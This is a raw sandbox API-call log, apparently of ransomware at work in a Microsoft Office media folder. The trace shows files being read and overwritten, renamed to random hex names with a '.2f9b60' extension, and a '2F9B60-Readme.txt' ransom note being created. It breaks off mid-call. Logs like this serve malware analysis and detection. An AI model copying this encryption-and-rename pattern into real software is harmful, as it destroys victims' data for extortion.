0x5a7b001 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x42bf3add [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x383a60b0 [0156.879] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x2bde2042 [0156.880] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x64e2626 [0156.880] RtlRandomEx (in: Seed=0x36eaf890 | out: Seed=0x36eaf890) returned 0x5a64594b [0156.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcbf0 [0156.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec61a0 [0156.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a510 [0156.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec61a0) returned 1 [0156.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcbc0) returned 1 [0156.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18ff0 [0156.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec61a0 [0156.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a97240 [0156.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a9ae50 [0156.893] ReadFile (in: hFile=0x1108, lpBuffer=0x42a97240, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x36eaf890, lpOverlapped=0x0 | out: lpBuffer=0x42a97240*, lpNumberOfBytesRead=0x36eaf890*=0xb1, lpOverlapped=0x0) returned 1 [0156.894] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.894] WriteFile (in: hFile=0x1108, lpBuffer=0x42a9ae50*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x36eaf894, lpOverlapped=0x0 | out: lpBuffer=0x42a9ae50*, lpNumberOfBytesWritten=0x36eaf894*=0xb1, lpOverlapped=0x0) returned 1 [0161.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263aa0 [0161.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260620 [0161.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260620) returned 1 [0161.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a9ae50) returned 1 [0161.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a97240) returned 1 [0161.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec61a0) returned 1 [0161.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18ff0) returned 1 [0161.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260620 [0161.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18ff0 [0161.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec61a0 [0161.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0161.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ee0) returned 1 [0161.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261ee0 [0161.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261580 [0161.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262fc0 [0161.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262fc0) returned 1 [0161.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec61a0) returned 1 [0161.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18ff0) returned 1 [0161.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167280 [0161.403] SetFilePointerEx (in: hFile=0x1108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.403] WriteFile (in: hFile=0x1108, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x36eaf9b0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x36eaf9b0*=0x10a, lpOverlapped=0x0) returned 1 [0163.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b820 [0163.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b820) returned 1 [0163.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b820 [0163.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7f0 [0163.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7f0) returned 1 [0163.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.172] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="6c") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="38") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="1b") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="d0") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="db") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="52") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.172] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="30") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="08") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="be") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="55") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="df") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="3a") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="43") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="61") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.173] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.173] RtlInitAnsiString (in: DestinationString=0x36eafa28, SourceString="6ca838c01bd0db52dc305dc308be55dffa3a43dc7c61d47c" | out: DestinationString="6ca838c01bd0db52dc305dc308be55dffa3a43dc7c61d47c") [0163.173] RtlAnsiStringToUnicodeString (in: DestinationString=0x36eaf9f8, SourceString="6ca838c01bd0db52dc305dc308be55dffa3a43dc7c61d47c", AllocateDestinationString=1 | out: DestinationString="6ca838c01bd0db52dc305dc308be55dffa3a43dc7c61d47c") returned 0x0 [0163.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3570 [0163.174] RtlFreeAnsiString (AnsiString="6") [0163.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b820) returned 1 [0163.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167280) returned 1 [0163.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ee0) returned 1 [0163.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261580) returned 1 [0163.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260620) returned 1 [0163.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263aa0) returned 1 [0163.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb30) returned 1 [0163.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcbf0) returned 1 [0163.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a510) returned 1 [0163.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862d50 [0163.178] wcscat (in: _Dest=0x1b862d50, _Source="6ca838c01bd0" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\6ca838c01bd0") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\6ca838c01bd0" [0163.178] wcscat (in: _Dest=0x1b862d50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\6ca838c01bd0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\6ca838c01bd0.2f9b60" [0163.178] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\6ca838c01bd0.2f9b60", NtPathName=0x36eaf9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\6ca838c01bd0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1070c0 [0165.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1070c0) returned 1 [0165.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1d240) returned 1 [0165.030] NtQueryInformationFile (in: FileHandle=0x1108, IoStatusBlock=0x36eafa38, FileInformation=0x36eafa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36eafa38, FileInformation=0x36eafa48) returned 0x0 [0165.030] NtSetInformationFile (FileHandle=0x1108, IoStatusBlock=0x36eafa38, FileInformation=0x36eafa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862d50) returned 1 [0165.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3570) returned 1 [0165.066] FlushFileBuffers (hFile=0x1108) returned 1 [0166.264] CloseHandle (hObject=0x1108) returned 1 [0183.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7adca0 [0183.929] wcscpy (in: _Dest=0x1b7adca0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0183.929] wcscat (in: _Dest=0x1b7adca0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" [0183.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\2f9b60-readme.txt")) returned 0xffffffff [0190.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 2638 os_tid = 0x21a4 [0156.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif")) returned 0x20 [0156.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF", dwFileAttributes=0x20) returned 1 [0156.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10fc [0156.899] GetFileSizeEx (in: hFile=0x10fc, lpFileSize=0x397bf840 | out: lpFileSize=0x397bf840*=1131) returned 1 [0156.899] SetFilePointerEx (in: hFile=0x10fc, liDistanceToMove=0x467, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.899] ReadFile (in: hFile=0x10fc, lpBuffer=0x397bf7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x397bf808, lpOverlapped=0x0 | out: lpBuffer=0x397bf7c0*, lpNumberOfBytesRead=0x397bf808*=0x4, lpOverlapped=0x0) returned 1 [0160.723] SetFilePointerEx (in: hFile=0x10fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1610 [0160.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a16a0 [0160.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a16d0 [0160.723] NtQuerySystemTime (in: CurrentTime=0x397bf700 | out: CurrentTime=0x397bf700*=132462177658510000) returned 0x0 [0160.723] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x60f22d2a [0160.723] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x2fb8378f [0160.723] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x4ed65aea [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x29e4f2d3 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x6d93b6a2 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x28661b29 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x722e7d63 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x5c02a425 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x5083b0c6 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x3437a001 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x777b2338 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x33d87ac6 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x63d43cc3 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x74fe82fe [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x7730615 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x57d510d5 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x78abbab7 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x34724fae [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x11e00f54 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x7da718b8 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x394bcaf2 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x5ec80ab5 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x6cdfb221 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x622b5abf [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x67ab99b8 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x5bc5af0e [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x57552fc1 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0xde6ece8 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x62b8a605 [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x20e3a76e [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x37d8980a [0160.724] RtlRandomEx (in: Seed=0x397bf6f0 | out: Seed=0x397bf6f0) returned 0x74fe82fe [0160.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1700 [0160.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe600 [0160.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1730 [0160.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe600) returned 1 [0160.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a16d0) returned 1 [0160.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1610) returned 1 [0160.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420599c0 [0160.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe600 [0160.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1610 [0160.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1610) returned 1 [0160.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420c3100 [0160.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420d2140 [0160.734] ReadFile (in: hFile=0x10fc, lpBuffer=0x420c3100, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x397bf6f0, lpOverlapped=0x0 | out: lpBuffer=0x420c3100*, lpNumberOfBytesRead=0x397bf6f0*=0x46b, lpOverlapped=0x0) returned 1 [0160.734] SetFilePointerEx (in: hFile=0x10fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.735] WriteFile (in: hFile=0x10fc, lpBuffer=0x420d2140*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x397bf6f4, lpOverlapped=0x0 | out: lpBuffer=0x420d2140*, lpNumberOfBytesWritten=0x397bf6f4*=0x46b, lpOverlapped=0x0) returned 1 [0165.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19aa0 [0165.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19ad0 [0165.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ad0) returned 1 [0165.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d2140) returned 1 [0165.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420c3100) returned 1 [0165.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe600) returned 1 [0165.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420599c0) returned 1 [0165.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19ad0 [0165.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420599c0 [0165.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe600 [0165.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b30 [0165.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b30) returned 1 [0165.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19b30 [0165.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b00 [0165.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c199b0 [0165.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c199b0) returned 1 [0165.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe600) returned 1 [0165.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420599c0) returned 1 [0165.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13430 [0165.890] SetFilePointerEx (in: hFile=0x10fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.890] WriteFile (in: hFile=0x10fc, lpBuffer=0x1ce13430*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x397bf810, lpOverlapped=0x0 | out: lpBuffer=0x1ce13430*, lpNumberOfBytesWritten=0x397bf810*=0x10a, lpOverlapped=0x0) returned 1 [0200.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a15e0 [0200.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a15e0) returned 1 [0200.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a15e0 [0200.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a15b0 [0200.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a15b0) returned 1 [0200.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.446] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="37") returned 2 [0200.446] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="4c") returned 2 [0200.446] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.446] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="16") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="3f") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="00") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="d8") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="3f") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="e3") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="90") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="29") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="af") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="29") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="28") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="57") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="29") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="22") returned 2 [0200.447] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="95") returned 2 [0200.447] RtlInitAnsiString (in: DestinationString=0x397bf888, SourceString="374c4d7c163fcb006ad8ec3fe33c9029af292857b2292295" | out: DestinationString="374c4d7c163fcb006ad8ec3fe33c9029af292857b2292295") [0200.447] RtlAnsiStringToUnicodeString (in: DestinationString=0x397bf858, SourceString="374c4d7c163fcb006ad8ec3fe33c9029af292857b2292295", AllocateDestinationString=1 | out: DestinationString="374c4d7c163fcb006ad8ec3fe33c9029af292857b2292295") returned 0x0 [0200.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0980 [0200.448] wcscat (in: _Dest=0x431ea7d0, _Source="374c4d7c163f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\374c4d7c163f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\374c4d7c163f" [0200.448] 